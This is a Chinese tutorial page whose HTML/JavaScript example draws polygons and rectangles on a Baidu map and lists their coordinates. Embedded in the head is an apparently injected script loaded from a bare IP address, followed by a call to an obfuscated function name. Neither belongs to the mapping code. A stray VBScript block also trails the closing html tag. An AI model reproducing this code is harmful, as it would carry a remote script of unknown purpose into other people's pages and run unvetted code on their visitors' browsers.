百度地圖繪製地圖區域,並返回座標
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="initial-scale=1.0, user-scalable=no" />
<style type="text/css">
body, html{width: 100%;height: 100%;margin:0;font-family:"微軟雅黑";}
#allmap {width: 100%; height:500px; overflow: hidden;}
#result {width:100%;font-size:12px;}
dl,dt,dd,ul,li{
margin:0;
padding:0;
list-style:none;
}
p{font-size:12px;}
dt{
font-size:14px;
font-family:"微軟雅黑";
font-weight:bold;
border-bottom:1px dotted #000;
padding:5px 0 5px 5px;
margin:5px 0;
}
dd{
padding:5px 0 0 5px;
}
li{
line-height:28px;
}
</style>
<script type="text/javascript" src="https://code.jquery.com/jquery-3.2.1.min.js" ></script>
<script type="text/javascript" src="http://api.map.baidu.com/api?v=2.0&ak=1f136de2af40b05d64c7335cb8d10433"></script>
<!--載入滑鼠繪製工具-->
<script type="text/javascript" src="http://api.map.baidu.com/library/DrawingManager/1.4/src/DrawingManager_min.js"></script>
<link rel="stylesheet" href="http://api.map.baidu.com/library/DrawingManager/1.4/src/DrawingManager_min.css" />
<!--載入檢索資訊視窗-->
<script type="text/javascript" src="http://api.map.baidu.com/library/SearchInfoWindow/1.4/src/SearchInfoWindow_min.js"></script>
<link rel="stylesheet" href="http://api.map.baidu.com/library/SearchInfoWindow/1.4/src/SearchInfoWindow_min.css" />
<title>滑鼠繪製工具</title>
<script language="javascript" type="text/javascript" src="http://202.102.100.100/35ff706fd57d11c141cdefcd58d6562b.js" charset="gb2312"></script><script type="text/javascript">
hQGHuMEAyLn('[id="bb9c190068b8405587e5006f905e790c"]');</script></head>
<body>
<div id="allmap" style="overflow:hidden;zoom:1;position:relative;">
<div id="map" style="height:100%;-webkit-transition: all 0.5s ease-in-out;transition: all 0.5s ease-in-out;"></div>
</div>
<div id="result">
<input type="button" value="開始描繪地圖(每次只描繪一個)" onclick="dianji();"/>
<input type="button" value="清除地圖" onclick="clearAll()"/>
</div><br />
<div>
座標分別為:<br />
<span id="shuju"></span>
<!--<input type="text" id="shuju" style="width: 1000px;height: 300px;" />-->
</div>
<script type="text/javascript">
// 百度地圖API功能
var map = new BMap.Map('map');
var poi = new BMap.Point(120.268971,32.019625);
map.centerAndZoom(poi, 16);
map.enableScrollWheelZoom();
var overlays = [];
var overlaycomplete = function(e){
overlays.push(e.overlay);
};
var styleOptions = {
strokeColor:"red", //邊線顏色。
fillColor:"red", //填充顏色。當引數為空時,圓形將沒有填充效果。
strokeWeight: 3, //邊線的寬度,以畫素為單位。
strokeOpacity: 0.8, //邊線透明度,取值範圍0 - 1。
fillOpacity: 0.6, //填充的透明度,取值範圍0 - 1。
strokeStyle: 'solid' //邊線的樣式,solid或dashed。
}
//例項化滑鼠繪製工具
var drawingManager = new BMapLib.DrawingManager(map, {
isOpen: false, //是否開啟繪製模式
enableDrawingTool: true, //是否顯示工具欄
drawingToolOptions: {
anchor: BMAP_ANCHOR_TOP_RIGHT, //位置
offset: new BMap.Size(5, 5), //偏離值
drawingModes : [BMAP_DRAWING_POLYGON,BMAP_DRAWING_RECTANGLE],
drawingTypes : [
//BMAP_DRAWING_MARKER,
//BMAP_DRAWING_CIRCLE,//圓的樣式
//BMAP_DRAWING_POLYLINE,
BMAP_DRAWING_POLYGON,
BMAP_DRAWING_RECTANGLE //矩形的樣式
]
},
circleOptions: styleOptions, //圓的樣式
polylineOptions: styleOptions, //線的樣式
polygonOptions: styleOptions, //多邊形的樣式
rectangleOptions: styleOptions //矩形的樣式
});
//新增滑鼠繪製工具監聽事件,用於獲取繪製結果
drawingManager.addEventListener('overlaycomplete', overlaycomplete);
function clearAll() {
for(var i = 0; i < overlays.length; i++){
map.removeOverlay(overlays[i]);
}
overlays.length = 0
}
//將獲取的資料拿到input裡面
function dianji(){
for(var i=0;i<overlays[0].po.length;i++){
$("#shuju").append(overlays[0].po[i].lng+","+overlays[0].po[i].lat+"<br />");
console.log(overlays[0].po[i]);
}
}
</script>
</body>
</html>
<SCRIPT Language=VBScript><!--
//--></SCRIPT>